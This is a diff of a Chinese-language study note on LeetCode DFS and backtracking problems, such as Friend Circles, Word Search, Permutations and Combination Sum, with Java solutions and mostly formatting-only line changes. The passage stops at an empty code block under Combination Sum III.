-[547. Friend Circles (Medium)](https://leetcode.com/problems/friend-circles/description/)
+[547. Friend Circles (Medium)](https://leetcode.com/problems/friend-circles/description/)
 
 ```html
 Input:
 [[1,1,0],
- [1,1,0],
- [0,0,1]]
+ [1,1,0],
+ [0,0,1]]
 
-Output: 2
+Output: 2
 
-Explanation:The 0th and 1st students are direct friends, so they are in a friend circle.
-The 2nd student himself is in a friend circle. So return 2.
+Explanation:The 0th and 1st students are direct friends, so they are in a friend circle.
+The 2nd student himself is in a friend circle. So return 2.
 ```
 
-题目描述：好友关系可以看成是一个无向图，例如第 0 个人与第 1 个人是好友，那么 M[0][1] 和 M[1][0] 的值都为 1。
+题目描述：好友关系可以看成是一个无向图，例如第 0 个人与第 1 个人是好友，那么 M[0][1] 和 M[1][0] 的值都为 1。
 
 ```java
-private int n;
+private int n;
 
-public int findCircleNum(int[][] M) {
-    n = M.length;
-    int circleNum = 0;
-    boolean[] hasVisited = new boolean[n];
-    for (int i = 0; i < n; i++) {
-        if (!hasVisited[i]) {
-            dfs(M, i, hasVisited);
-            circleNum++;
-        }
-    }
-    return circleNum;
+public int findCircleNum(int[][] M) {
+    n = M.length;
+    int circleNum = 0;
+    boolean[] hasVisited = new boolean[n];
+    for (int i = 0; i < n; i++) {
+        if (!hasVisited[i]) {
+            dfs(M, i, hasVisited);
+            circleNum++;
+        }
+    }
+    return circleNum;
 }
 
-private void dfs(int[][] M, int i, boolean[] hasVisited) {
-    hasVisited[i] = true;
-    for (int k = 0; k < n; k++) {
-        if (M[i][k] == 1 && !hasVisited[k]) {
-            dfs(M, k, hasVisited);
-        }
-    }
+private void dfs(int[][] M, int i, boolean[] hasVisited) {
+    hasVisited[i] = true;
+    for (int k = 0; k < n; k++) {
+        if (M[i][k] == 1 && !hasVisited[k]) {
+            dfs(M, k, hasVisited);
+        }
+    }
 }
 ```
 
-**填充封闭区域**
+**填充封闭区域** 
 
-[130. Surrounded Regions (Medium)](https://leetcode.com/problems/surrounded-regions/description/)
+[130. Surrounded Regions (Medium)](https://leetcode.com/problems/surrounded-regions/description/)
 
 ```html
-For example,
-X X X X
-X O O X
-X X O X
-X O X X
+For example,
+X X X X
+X O O X
+X X O X
+X O X X
 
-After running your function, the board should be:
-X X X X
-X X X X
-X X X X
-X O X X
+After running your function, the board should be:
+X X X X
+X X X X
+X X X X
+X O X X
 ```
 
-题目描述：使被 'X' 包围的 'O' 转换为 'X'。
+题目描述：使被 'X' 包围的 'O' 转换为 'X'。
 
 先填充最外侧，剩下的就是里侧了。
 
 ```java
-private int[][] direction = {{0, 1}, {0, -1}, {1, 0}, {-1, 0}};
-private int m, n;
+private int[][] direction = {{0, 1}, {0, -1}, {1, 0}, {-1, 0}};
+private int m, n;
 
-public void solve(char[][] board) {
-    if (board == null || board.length == 0) {
-        return;
-    }
+public void solve(char[][] board) {
+    if (board == null || board.length == 0) {
+        return;
+    }
 
-    m = board.length;
-    n = board[0].length;
+    m = board.length;
+    n = board[0].length;
 
-    for (int i = 0; i < m; i++) {
-        dfs(board, i, 0);
-        dfs(board, i, n - 1);
-    }
-    for (int i = 0; i < n; i++) {
-        dfs(board, 0, i);
-        dfs(board, m - 1, i);
-    }
+    for (int i = 0; i < m; i++) {
+        dfs(board, i, 0);
+        dfs(board, i, n - 1);
+    }
+    for (int i = 0; i < n; i++) {
+        dfs(board, 0, i);
+        dfs(board, m - 1, i);
+    }
 
-    for (int i = 0; i < m; i++) {
-        for (int j = 0; j < n; j++) {
-            if (board[i][j] == 'T') {
-                board[i][j] = 'O';
-            } else if (board[i][j] == 'O') {
-                board[i][j] = 'X';
-            }
-        }
-    }
+    for (int i = 0; i < m; i++) {
+        for (int j = 0; j < n; j++) {
+            if (board[i][j] == 'T') {
+                board[i][j] = 'O';
+            } else if (board[i][j] == 'O') {
+                board[i][j] = 'X';
+            }
+        }
+    }
 }
 
-private void dfs(char[][] board, int r, int c) {
-    if (r < 0 || r >= m || c < 0 || c >= n || board[r][c] != 'O') {
-        return;
-    }
-    board[r][c] = 'T';
-    for (int[] d : direction) {
-        dfs(board, r + d[0], c + d[1]);
-    }
+private void dfs(char[][] board, int r, int c) {
+    if (r < 0 || r >= m || c < 0 || c >= n || board[r][c] != 'O') {
+        return;
+    }
+    board[r][c] = 'T';
+    for (int[] d : direction) {
+        dfs(board, r + d[0], c + d[1]);
+    }
 }
 ```
 
-**能到达的太平洋和大西洋的区域**
+**能到达的太平洋和大西洋的区域** 
 
-[417. Pacific Atlantic Water Flow (Medium)](https://leetcode.com/problems/pacific-atlantic-water-flow/description/)
+[417. Pacific Atlantic Water Flow (Medium)](https://leetcode.com/problems/pacific-atlantic-water-flow/description/)
 
 ```html
-Given the following 5x5 matrix:
+Given the following 5x5 matrix:
 
-  Pacific ~   ~   ~   ~   ~
-       ~  1   2   2   3  (5) *
-       ~  3   2   3  (4) (4) *
-       ~  2   4  (5)  3   1  *
-       ~ (6) (7)  1   4   5  *
-       ~ (5)  1   1   2   4  *
-          *   *   *   *   * Atlantic
+  Pacific ~   ~   ~   ~   ~
+       ~  1   2   2   3  (5) *
+       ~  3   2   3  (4) (4) *
+       ~  2   4  (5)  3   1  *
+       ~ (6) (7)  1   4   5  *
+       ~ (5)  1   1   2   4  *
+          *   *   *   *   * Atlantic
 
 Return:
-[[0, 4], [1, 3], [1, 4], [2, 2], [3, 0], [3, 1], [4, 0]] (positions with parentheses in above matrix).
+[[0, 4], [1, 3], [1, 4], [2, 2], [3, 0], [3, 1], [4, 0]] (positions with parentheses in above matrix).
 ```
 
 左边和上边是太平洋，右边和下边是大西洋，内部的数字代表海拔，海拔高的地方的水能够流到低的地方，求解水能够流到太平洋和大西洋的所有位置。
 
 ```java
 
-private int m, n;
-private int[][] matrix;
-private int[][] direction = {{0, 1}, {0, -1}, {1, 0}, {-1, 0}};
+private int m, n;
+private int[][] matrix;
+private int[][] direction = {{0, 1}, {0, -1}, {1, 0}, {-1, 0}};
 
-public List<int[]> pacificAtlantic(int[][] matrix) {
-    List<int[]> ret = new ArrayList<>();
-    if (matrix == null || matrix.length == 0) {
-        return ret;
-    }
+public List<int[]> pacificAtlantic(int[][] matrix) {
+    List<int[]> ret = new ArrayList<>();
+    if (matrix == null || matrix.length == 0) {
+        return ret;
+    }
 
-    m = matrix.length;
-    n = matrix[0].length;
-    this.matrix = matrix;
-    boolean[][] canReachP = new boolean[m][n];
-    boolean[][] canReachA = new boolean[m][n];
+    m = matrix.length;
+    n = matrix[0].length;
+    this.matrix = matrix;
+    boolean[][] canReachP = new boolean[m][n];
+    boolean[][] canReachA = new boolean[m][n];
 
-    for (int i = 0; i < m; i++) {
-        dfs(i, 0, canReachP);
-        dfs(i, n - 1, canReachA);
-    }
-    for (int i = 0; i < n; i++) {
-        dfs(0, i, canReachP);
-        dfs(m - 1, i, canReachA);
-    }
+    for (int i = 0; i < m; i++) {
+        dfs(i, 0, canReachP);
+        dfs(i, n - 1, canReachA);
+    }
+    for (int i = 0; i < n; i++) {
+        dfs(0, i, canReachP);
+        dfs(m - 1, i, canReachA);
+    }
 
-    for (int i = 0; i < m; i++) {
-        for (int j = 0; j < n; j++) {
-            if (canReachP[i][j] && canReachA[i][j]) {
-                ret.add(new int[]{i, j});
-            }
-        }
-    }
+    for (int i = 0; i < m; i++) {
+        for (int j = 0; j < n; j++) {
+            if (canReachP[i][j] && canReachA[i][j]) {
+                ret.add(new int[]{i, j});
+            }
+        }
+    }
 
-    return ret;
+    return ret;
 }
 
-private void dfs(int r, int c, boolean[][] canReach) {
-    if (canReach[r][c]) {
-        return;
-    }
-    canReach[r][c] = true;
-    for (int[] d : direction) {
-        int nextR = d[0] + r;
-        int nextC = d[1] + c;
-        if (nextR < 0 || nextR >= m || nextC < 0 || nextC >= n
-                || matrix[r][c] > matrix[nextR][nextC]) {
+private void dfs(int r, int c, boolean[][] canReach) {
+    if (canReach[r][c]) {
+        return;
+    }
+    canReach[r][c] = true;
+    for (int[] d : direction) {
+        int nextR = d[0] + r;
+        int nextC = d[1] + c;
+        if (nextR < 0 || nextR >= m || nextC < 0 || nextC >= n
+                || matrix[r][c] > matrix[nextR][nextC]) {
 
-            continue;
-        }
-        dfs(nextR, nextC, canReach);
-    }
+            continue;
+        }
+        dfs(nextR, nextC, canReach);
+    }
 }
 ```
 
-### Backtracking
+### Backtracking
 
-Backtracking（回溯）属于 DFS。
+Backtracking（回溯）属于 DFS。
 
-- 普通 DFS 主要用在 **可达性问题**，这种问题只需要执行到特点的位置然后返回即可。
-- 而 Backtracking 主要用于求解 **排列组合** 问题，例如有 { 'a','b','c' } 三个字符，求解所有由这三个字符排列得到的字符串，这种问题在执行到特定的位置返回之后还会继续执行求解过程。
+- 普通 DFS 主要用在  **可达性问题** ，这种问题只需要执行到特点的位置然后返回即可。
+- 而 Backtracking 主要用于求解  **排列组合**  问题，例如有 { 'a','b','c' } 三个字符，求解所有由这三个字符排列得到的字符串，这种问题在执行到特定的位置返回之后还会继续执行求解过程。
 
-因为 Backtracking 不是立即就返回，而要继续求解，因此在程序实现时，需要注意对元素的标记问题：
+因为 Backtracking 不是立即就返回，而要继续求解，因此在程序实现时，需要注意对元素的标记问题：
 
-- 在访问一个新元素进入新的递归调用时，需要将新元素标记为已经访问，这样才能在继续递归调用时不用重复访问该元素；
-- 但是在递归返回时，需要将元素标记为未访问，因为只需要保证在一个递归链中不同时访问一个元素，可以访问已经访问过但是不在当前递归链中的元素。
+- 在访问一个新元素进入新的递归调用时，需要将新元素标记为已经访问，这样才能在继续递归调用时不用重复访问该元素；
+- 但是在递归返回时，需要将元素标记为未访问，因为只需要保证在一个递归链中不同时访问一个元素，可以访问已经访问过但是不在当前递归链中的元素。
 
-**数字键盘组合**
+**数字键盘组合** 
 
-[17. Letter Combinations of a Phone Number (Medium)](https://leetcode.com/problems/letter-combinations-of-a-phone-number/description/)
+[17. Letter Combinations of a Phone Number (Medium)](https://leetcode.com/problems/letter-combinations-of-a-phone-number/description/)
 
-![](index_files/a3f34241-bb80-4879-8ec9-dff2d81b514e.jpg)
+<div align="center"> <img src="pics/a3f34241-bb80-4879-8ec9-dff2d81b514e.jpg"/> </div><br>
 
 ```html
-Input:Digit string "23"
-Output: ["ad", "ae", "af", "bd", "be", "bf", "cd", "ce", "cf"].
+Input:Digit string "23"
+Output: ["ad", "ae", "af", "bd", "be", "bf", "cd", "ce", "cf"].
 ```
 
 ```java
-private static final String[] KEYS = {"", "", "abc", "def", "ghi", "jkl", "mno", "pqrs", "tuv", "wxyz"};
+private static final String[] KEYS = {"", "", "abc", "def", "ghi", "jkl", "mno", "pqrs", "tuv", "wxyz"};
 
-public List<String> letterCombinations(String digits) {
-    List<String> combinations = new ArrayList<>();
-    if (digits == null || digits.length() == 0) {
-        return combinations;
-    }
-    doCombination(new StringBuilder(), combinations, digits);
-    return combinations;
+public List<String> letterCombinations(String digits) {
+    List<String> combinations = new ArrayList<>();
+    if (digits == null || digits.length() == 0) {
+        return combinations;
+    }
+    doCombination(new StringBuilder(), combinations, digits);
+    return combinations;
 }
 
-private void doCombination(StringBuilder prefix, List<String> combinations, final String digits) {
-    if (prefix.length() == digits.length()) {
-        combinations.add(prefix.toString());
-        return;
-    }
-    int curDigits = digits.charAt(prefix.length()) - '0';
-    String letters = KEYS[curDigits];
-    for (char c : letters.toCharArray()) {
-        prefix.append(c);                         // 添加
-        doCombination(prefix, combinations, digits);
-        prefix.deleteCharAt(prefix.length() - 1); // 删除
-    }
+private void doCombination(StringBuilder prefix, List<String> combinations, final String digits) {
+    if (prefix.length() == digits.length()) {
+        combinations.add(prefix.toString());
+        return;
+    }
+    int curDigits = digits.charAt(prefix.length()) - '0';
+    String letters = KEYS[curDigits];
+    for (char c : letters.toCharArray()) {
+        prefix.append(c);                         // 添加
+        doCombination(prefix, combinations, digits);
+        prefix.deleteCharAt(prefix.length() - 1); // 删除
+    }
 }
 ```
 
-**IP 地址划分**
+**IP 地址划分** 
 
-[93. Restore IP Addresses(Medium)](https://leetcode.com/problems/restore-ip-addresses/description/)
+[93. Restore IP Addresses(Medium)](https://leetcode.com/problems/restore-ip-addresses/description/)
 
 ```html
-Given "25525511135",
-return ["255.255.11.135", "255.255.111.35"].
+Given "25525511135",
+return ["255.255.11.135", "255.255.111.35"].
 ```
 
 ```java
-public List<String> restoreIpAddresses(String s) {
-    List<String> addresses = new ArrayList<>();
-    StringBuilder tempAddress = new StringBuilder();
-    doRestore(0, tempAddress, addresses, s);
-    return addresses;
+public List<String> restoreIpAddresses(String s) {
+    List<String> addresses = new ArrayList<>();
+    StringBuilder tempAddress = new StringBuilder();
+    doRestore(0, tempAddress, addresses, s);
+    return addresses;
 }
 
-private void doRestore(int k, StringBuilder tempAddress, List<String> addresses, String s) {
-    if (k == 4 || s.length() == 0) {
-        if (k == 4 && s.length() == 0) {
-            addresses.add(tempAddress.toString());
-        }
-        return;
-    }
-    for (int i = 0; i < s.length() && i <= 2; i++) {
-        if (i != 0 && s.charAt(0) == '0') {
-            break;
-        }
-        String part = s.substring(0, i + 1);
-        if (Integer.valueOf(part) <= 255) {
-            if (tempAddress.length() != 0) {
-                part = "." + part;
-            }
-            tempAddress.append(part);
-            doRestore(k + 1, tempAddress, addresses, s.substring(i + 1));
-            tempAddress.delete(tempAddress.length() - part.length(), tempAddress.length());
-        }
-    }
+private void doRestore(int k, StringBuilder tempAddress, List<String> addresses, String s) {
+    if (k == 4 || s.length() == 0) {
+        if (k == 4 && s.length() == 0) {
+            addresses.add(tempAddress.toString());
+        }
+        return;
+    }
+    for (int i = 0; i < s.length() && i <= 2; i++) {
+        if (i != 0 && s.charAt(0) == '0') {
+            break;
+        }
+        String part = s.substring(0, i + 1);
+        if (Integer.valueOf(part) <= 255) {
+            if (tempAddress.length() != 0) {
+                part = "." + part;
+            }
+            tempAddress.append(part);
+            doRestore(k + 1, tempAddress, addresses, s.substring(i + 1));
+            tempAddress.delete(tempAddress.length() - part.length(), tempAddress.length());
+        }
+    }
 }
 ```
 
-**在矩阵中寻找字符串**
+**在矩阵中寻找字符串** 
 
-[79. Word Search (Medium)](https://leetcode.com/problems/word-search/description/)
+[79. Word Search (Medium)](https://leetcode.com/problems/word-search/description/)
 
 ```html
-For example,
-Given board =
+For example,
+Given board =
 [
-  ['A','B','C','E'],
-  ['S','F','C','S'],
-  ['A','D','E','E']
+  ['A','B','C','E'],
+  ['S','F','C','S'],
+  ['A','D','E','E']
 ]
-word = "ABCCED", -> returns true,
-word = "SEE", -> returns true,
-word = "ABCB", -> returns false.
+word = "ABCCED", -> returns true,
+word = "SEE", -> returns true,
+word = "ABCB", -> returns false.
 ```
 
 ```java
-private final static int[][] direction = {{1, 0}, {-1, 0}, {0, 1}, {0, -1}};
-private int m;
-private int n;
+private final static int[][] direction = {{1, 0}, {-1, 0}, {0, 1}, {0, -1}};
+private int m;
+private int n;
 
-public boolean exist(char[][] board, String word) {
-    if (word == null || word.length() == 0) {
-        return true;
-    }
-    if (board == null || board.length == 0 || board[0].length == 0) {
-        return false;
-    }
+public boolean exist(char[][] board, String word) {
+    if (word == null || word.length() == 0) {
+        return true;
+    }
+    if (board == null || board.length == 0 || board[0].length == 0) {
+        return false;
+    }
 
-    m = board.length;
-    n = board[0].length;
-    boolean[][] hasVisited = new boolean[m][n];
+    m = board.length;
+    n = board[0].length;
+    boolean[][] hasVisited = new boolean[m][n];
 
-    for (int r = 0; r < m; r++) {
-        for (int c = 0; c < n; c++) {
-            if (backtracking(0, r, c, hasVisited, board, word)) {
-                return true;
-            }
-        }
-    }
+    for (int r = 0; r < m; r++) {
+        for (int c = 0; c < n; c++) {
+            if (backtracking(0, r, c, hasVisited, board, word)) {
+                return true;
+            }
+        }
+    }
 
-    return false;
+    return false;
 }
 
-private boolean backtracking(int curLen, int r, int c, boolean[][] visited, final char[][] board, final String word) {
-    if (curLen == word.length()) {
-        return true;
-    }
-    if (r < 0 || r >= m || c < 0 || c >= n
-            || board[r][c] != word.charAt(curLen) || visited[r][c]) {
+private boolean backtracking(int curLen, int r, int c, boolean[][] visited, final char[][] board, final String word) {
+    if (curLen == word.length()) {
+        return true;
+    }
+    if (r < 0 || r >= m || c < 0 || c >= n
+            || board[r][c] != word.charAt(curLen) || visited[r][c]) {
 
-        return false;
-    }
+        return false;
+    }
 
-    visited[r][c] = true;
+    visited[r][c] = true;
 
-    for (int[] d : direction) {
-        if (backtracking(curLen + 1, r + d[0], c + d[1], visited, board, word)) {
-            return true;
-        }
-    }
+    for (int[] d : direction) {
+        if (backtracking(curLen + 1, r + d[0], c + d[1], visited, board, word)) {
+            return true;
+        }
+    }
 
-    visited[r][c] = false;
+    visited[r][c] = false;
 
-    return false;
+    return false;
 }
 ```
 
-**输出二叉树中所有从根到叶子的路径**
+**输出二叉树中所有从根到叶子的路径** 
 
-[257. Binary Tree Paths (Easy)](https://leetcode.com/problems/binary-tree-paths/description/)
+[257. Binary Tree Paths (Easy)](https://leetcode.com/problems/binary-tree-paths/description/)
 
 ```html
-  1
- /  \
-2    3
- \
-  5
+  1
+ /  \
+2    3
+ \
+  5
 ```
 
 ```html
-["1->2->5", "1->3"]
+["1->2->5", "1->3"]
 ```
 
 ```java
 
-public List<String> binaryTreePaths(TreeNode root) {
-    List<String> paths = new ArrayList<>();
-    if (root == null) {
-        return paths;
-    }
-    List<Integer> values = new ArrayList<>();
-    backtracking(root, values, paths);
-    return paths;
+public List<String> binaryTreePaths(TreeNode root) {
+    List<String> paths = new ArrayList<>();
+    if (root == null) {
+        return paths;
+    }
+    List<Integer> values = new ArrayList<>();
+    backtracking(root, values, paths);
+    return paths;
 }
 
-private void backtracking(TreeNode node, List<Integer> values, List<String> paths) {
-    if (node == null) {
-        return;
-    }
-    values.add(node.val);
-    if (isLeaf(node)) {
-        paths.add(buildPath(values));
-    } else {
-        backtracking(node.left, values, paths);
-        backtracking(node.right, values, paths);
-    }
-    values.remove(values.size() - 1);
+private void backtracking(TreeNode node, List<Integer> values, List<String> paths) {
+    if (node == null) {
+        return;
+    }
+    values.add(node.val);
+    if (isLeaf(node)) {
+        paths.add(buildPath(values));
+    } else {
+        backtracking(node.left, values, paths);
+        backtracking(node.right, values, paths);
+    }
+    values.remove(values.size() - 1);
 }
 
-private boolean isLeaf(TreeNode node) {
-    return node.left == null && node.right == null;
+private boolean isLeaf(TreeNode node) {
+    return node.left == null && node.right == null;
 }
 
-private String buildPath(List<Integer> values) {
-    StringBuilder str = new StringBuilder();
-    for (int i = 0; i < values.size(); i++) {
-        str.append(values.get(i));
-        if (i != values.size() - 1) {
-            str.append("->");
-        }
-    }
-    return str.toString();
+private String buildPath(List<Integer> values) {
+    StringBuilder str = new StringBuilder();
+    for (int i = 0; i < values.size(); i++) {
+        str.append(values.get(i));
+        if (i != values.size() - 1) {
+            str.append("->");
+        }
+    }
+    return str.toString();
 }
 ```
 
-**排列**
+**排列** 
 
-[46. Permutations (Medium)](https://leetcode.com/problems/permutations/description/)
+[46. Permutations (Medium)](https://leetcode.com/problems/permutations/description/)
 
 ```html
-[1,2,3] have the following permutations:
+[1,2,3] have the following permutations:
 [
-  [1,2,3],
-  [1,3,2],
-  [2,1,3],
-  [2,3,1],
-  [3,1,2],
-  [3,2,1]
+  [1,2,3],
+  [1,3,2],
+  [2,1,3],
+  [2,3,1],
+  [3,1,2],
+  [3,2,1]
 ]
 ```
 
 ```java
-public List<List<Integer>> permute(int[] nums) {
-    List<List<Integer>> permutes = new ArrayList<>();
-    List<Integer> permuteList = new ArrayList<>();
-    boolean[] hasVisited = new boolean[nums.length];
-    backtracking(permuteList, permutes, hasVisited, nums);
-    return permutes;
+public List<List<Integer>> permute(int[] nums) {
+    List<List<Integer>> permutes = new ArrayList<>();
+    List<Integer> permuteList = new ArrayList<>();
+    boolean[] hasVisited = new boolean[nums.length];
+    backtracking(permuteList, permutes, hasVisited, nums);
+    return permutes;
 }
 
-private void backtracking(List<Integer> permuteList, List<List<Integer>> permutes, boolean[] visited, final int[] nums) {
-    if (permuteList.size() == nums.length) {
-        permutes.add(new ArrayList<>(permuteList)); // 重新构造一个 List
-        return;
-    }
-    for (int i = 0; i < visited.length; i++) {
-        if (visited[i]) {
-            continue;
-        }
-        visited[i] = true;
-        permuteList.add(nums[i]);
-        backtracking(permuteList, permutes, visited, nums);
-        permuteList.remove(permuteList.size() - 1);
-        visited[i] = false;
-    }
+private void backtracking(List<Integer> permuteList, List<List<Integer>> permutes, boolean[] visited, final int[] nums) {
+    if (permuteList.size() == nums.length) {
+        permutes.add(new ArrayList<>(permuteList)); // 重新构造一个 List
+        return;
+    }
+    for (int i = 0; i < visited.length; i++) {
+        if (visited[i]) {
+            continue;
+        }
+        visited[i] = true;
+        permuteList.add(nums[i]);
+        backtracking(permuteList, permutes, visited, nums);
+        permuteList.remove(permuteList.size() - 1);
+        visited[i] = false;
+    }
 }
 ```
 
-**含有相同元素求排列**
+**含有相同元素求排列** 
 
-[47. Permutations II (Medium)](https://leetcode.com/problems/permutations-ii/description/)
+[47. Permutations II (Medium)](https://leetcode.com/problems/permutations-ii/description/)
 
 ```html
-[1,1,2] have the following unique permutations:
-[[1,1,2], [1,2,1], [2,1,1]]
+[1,1,2] have the following unique permutations:
+[[1,1,2], [1,2,1], [2,1,1]]
 ```
 
 数组元素可能含有相同的元素，进行排列时就有可能出现重复的排列，要求重复的排列只返回一个。
 
-在实现上，和 Permutations 不同的是要先排序，然后在添加一个元素时，判断这个元素是否等于前一个元素，如果等于，并且前一个元素还未访问，那么就跳过这个元素。
+在实现上，和 Permutations 不同的是要先排序，然后在添加一个元素时，判断这个元素是否等于前一个元素，如果等于，并且前一个元素还未访问，那么就跳过这个元素。
 
 ```java
-public List<List<Integer>> permuteUnique(int[] nums) {
-    List<List<Integer>> permutes = new ArrayList<>();
-    List<Integer> permuteList = new ArrayList<>();
-    Arrays.sort(nums);  // 排序
-    boolean[] hasVisited = new boolean[nums.length];
-    backtracking(permuteList, permutes, hasVisited, nums);
-    return permutes;
+public List<List<Integer>> permuteUnique(int[] nums) {
+    List<List<Integer>> permutes = new ArrayList<>();
+    List<Integer> permuteList = new ArrayList<>();
+    Arrays.sort(nums);  // 排序
+    boolean[] hasVisited = new boolean[nums.length];
+    backtracking(permuteList, permutes, hasVisited, nums);
+    return permutes;
 }
 
-private void backtracking(List<Integer> permuteList, List<List<Integer>> permutes, boolean[] visited, final int[] nums) {
-    if (permuteList.size() == nums.length) {
-        permutes.add(new ArrayList<>(permuteList));
-        return;
-    }
+private void backtracking(List<Integer> permuteList, List<List<Integer>> permutes, boolean[] visited, final int[] nums) {
+    if (permuteList.size() == nums.length) {
+        permutes.add(new ArrayList<>(permuteList));
+        return;
+    }
 
-    for (int i = 0; i < visited.length; i++) {
-        if (i != 0 && nums[i] == nums[i - 1] && !visited[i - 1]) {
-            continue;  // 防止重复
-        }
-        if (visited[i]){
-            continue;
-        }
-        visited[i] = true;
-        permuteList.add(nums[i]);
-        backtracking(permuteList, permutes, visited, nums);
-        permuteList.remove(permuteList.size() - 1);
-        visited[i] = false;
-    }
+    for (int i = 0; i < visited.length; i++) {
+        if (i != 0 && nums[i] == nums[i - 1] && !visited[i - 1]) {
+            continue;  // 防止重复
+        }
+        if (visited[i]){
+            continue;
+        }
+        visited[i] = true;
+        permuteList.add(nums[i]);
+        backtracking(permuteList, permutes, visited, nums);
+        permuteList.remove(permuteList.size() - 1);
+        visited[i] = false;
+    }
 }
 ```
 
-**组合**
+**组合** 
 
-[77. Combinations (Medium)](https://leetcode.com/problems/combinations/description/)
+[77. Combinations (Medium)](https://leetcode.com/problems/combinations/description/)
 
 ```html
-If n = 4 and k = 2, a solution is:
+If n = 4 and k = 2, a solution is:
 [
-  [2,4],
-  [3,4],
-  [2,3],
-  [1,2],
-  [1,3],
-  [1,4],
+  [2,4],
+  [3,4],
+  [2,3],
+  [1,2],
+  [1,3],
+  [1,4],
 ]
 ```
 
 ```java
-public List<List<Integer>> combine(int n, int k) {
-    List<List<Integer>> combinations = new ArrayList<>();
-    List<Integer> combineList = new ArrayList<>();
-    backtracking(combineList, combinations, 1, k, n);
-    return combinations;
+public List<List<Integer>> combine(int n, int k) {
+    List<List<Integer>> combinations = new ArrayList<>();
+    List<Integer> combineList = new ArrayList<>();
+    backtracking(combineList, combinations, 1, k, n);
+    return combinations;
 }
 
-private void backtracking(List<Integer> combineList, List<List<Integer>> combinations, int start, int k, final int n) {
-    if (k == 0) {
-        combinations.add(new ArrayList<>(combineList));
-        return;
-    }
-    for (int i = start; i <= n - k + 1; i++) {  // 剪枝
-        combineList.add(i);
-        backtracking(combineList, combinations, i + 1, k - 1, n);
-        combineList.remove(combineList.size() - 1);
-    }
+private void backtracking(List<Integer> combineList, List<List<Integer>> combinations, int start, int k, final int n) {
+    if (k == 0) {
+        combinations.add(new ArrayList<>(combineList));
+        return;
+    }
+    for (int i = start; i <= n - k + 1; i++) {  // 剪枝
+        combineList.add(i);
+        backtracking(combineList, combinations, i + 1, k - 1, n);
+        combineList.remove(combineList.size() - 1);
+    }
 }
 ```
 
-**组合求和**
+**组合求和** 
 
-[39. Combination Sum (Medium)](https://leetcode.com/problems/combination-sum/description/)
+[39. Combination Sum (Medium)](https://leetcode.com/problems/combination-sum/description/)
 
 ```html
-given candidate set [2, 3, 6, 7] and target 7,
-A solution set is:
-[[7],[2, 2, 3]]
+given candidate set [2, 3, 6, 7] and target 7,
+A solution set is:
+[[7],[2, 2, 3]]
 ```
 
 ```java
-public List<List<Integer>> combinationSum(int[] candidates, int target) {
-    List<List<Integer>> combinations = new ArrayList<>();
-    backtracking(new ArrayList<>(), combinations, 0, target, candidates);
-    return combinations;
+public List<List<Integer>> combinationSum(int[] candidates, int target) {
+    List<List<Integer>> combinations = new ArrayList<>();
+    backtracking(new ArrayList<>(), combinations, 0, target, candidates);
+    return combinations;
 }
 
-private void backtracking(List<Integer> tempCombination, List<List<Integer>> combinations,
-                          int start, int target, final int[] candidates) {
+private void backtracking(List<Integer> tempCombination, List<List<Integer>> combinations,
+                          int start, int target, final int[] candidates) {
 
-    if (target == 0) {
-        combinations.add(new ArrayList<>(tempCombination));
-        return;
-    }
-    for (int i = start; i < candidates.length; i++) {
-        if (candidates[i] <= target) {
-            tempCombination.add(candidates[i]);
-            backtracking(tempCombination, combinations, i, target - candidates[i], candidates);
-            tempCombination.remove(tempCombination.size() - 1);
-        }
-    }
+    if (target == 0) {
+        combinations.add(new ArrayList<>(tempCombination));
+        return;
+    }
+    for (int i = start; i < candidates.length; i++) {
+        if (candidates[i] <= target) {
+            tempCombination.add(candidates[i]);
+            backtracking(tempCombination, combinations, i, target - candidates[i], candidates);
+            tempCombination.remove(tempCombination.size() - 1);
+        }
+    }
 }
 ```
 
-**含有相同元素的求组合求和**
+**含有相同元素的求组合求和** 
 
-[40. Combination Sum II (Medium)](https://leetcode.com/problems/combination-sum-ii/description/)
+[40. Combination Sum II (Medium)](https://leetcode.com/problems/combination-sum-ii/description/)
 
 ```html
-For example, given candidate set [10, 1, 2, 7, 6, 1, 5] and target 8,
-A solution set is:
+For example, given candidate set [10, 1, 2, 7, 6, 1, 5] and target 8,
+A solution set is:
 [
-  [1, 7],
-  [1, 2, 5],
-  [2, 6],
-  [1, 1, 6]
+  [1, 7],
+  [1, 2, 5],
+  [2, 6],
+  [1, 1, 6]
 ]
 ```
 
 ```java
-public List<List<Integer>> combinationSum2(int[] candidates, int target) {
-    List<List<Integer>> combinations = new ArrayList<>();
-    Arrays.sort(candidates);
-    backtracking(new ArrayList<>(), combinations, new boolean[candidates.length], 0, target, candidates);
-    return combinations;
+public List<List<Integer>> combinationSum2(int[] candidates, int target) {
+    List<List<Integer>> combinations = new ArrayList<>();
+    Arrays.sort(candidates);
+    backtracking(new ArrayList<>(), combinations, new boolean[candidates.length], 0, target, candidates);
+    return combinations;
 }
 
-private void backtracking(List<Integer> tempCombination, List<List<Integer>> combinations,
-                          boolean[] hasVisited, int start, int target, final int[] candidates) {
+private void backtracking(List<Integer> tempCombination, List<List<Integer>> combinations,
+                          boolean[] hasVisited, int start, int target, final int[] candidates) {
 
-    if (target == 0) {
-        combinations.add(new ArrayList<>(tempCombination));
-        return;
-    }
-    for (int i = start; i < candidates.length; i++) {
-        if (i != 0 && candidates[i] == candidates[i - 1] && !hasVisited[i - 1]) {
-            continue;
-        }
-        if (candidates[i] <= target) {
-            tempCombination.add(candidates[i]);
-            hasVisited[i] = true;
-            backtracking(tempCombination, combinations, hasVisited, i + 1, target - candidates[i], candidates);
-            hasVisited[i] = false;
-            tempCombination.remove(tempCombination.size() - 1);
-        }
-    }
+    if (target == 0) {
+        combinations.add(new ArrayList<>(tempCombination));
+        return;
+    }
+    for (int i = start; i < candidates.length; i++) {
+        if (i != 0 && candidates[i] == candidates[i - 1] && !hasVisited[i - 1]) {
+            continue;
+        }
+        if (candidates[i] <= target) {
+            tempCombination.add(candidates[i]);
+            hasVisited[i] = true;
+            backtracking(tempCombination, combinations, hasVisited, i + 1, target - candidates[i], candidates);
+            hasVisited[i] = false;
+            tempCombination.remove(tempCombination.size() - 1);
+        }
+    }
 }
 ```
 
-**1-9 数字的组合求和**
+**1-9 数字的组合求和** 
 
-[216. Combination Sum III (Medium)](https://leetcode.com/problems/combination-sum-iii/description/)
+[216. Combination Sum III (Medium)](https://leetcode.com/problems/combination-sum-iii/description/)
 
 ```html
-Input: k = 3, n = 9
+Input: k = 3, n = 9
 
 Output:
 
-[[1,2,6], [1,3,5], [2,3,4]]
+[[1,2,6], [1,3,5], [2,3,4]]
 ```
 
-从 1-9 数字中选出 k 个数不重复的数，使得它们的和为 n。
+从 1-9 数字中选出 k 个数不重复的数，使得它们的和为 n。
 
 ```java
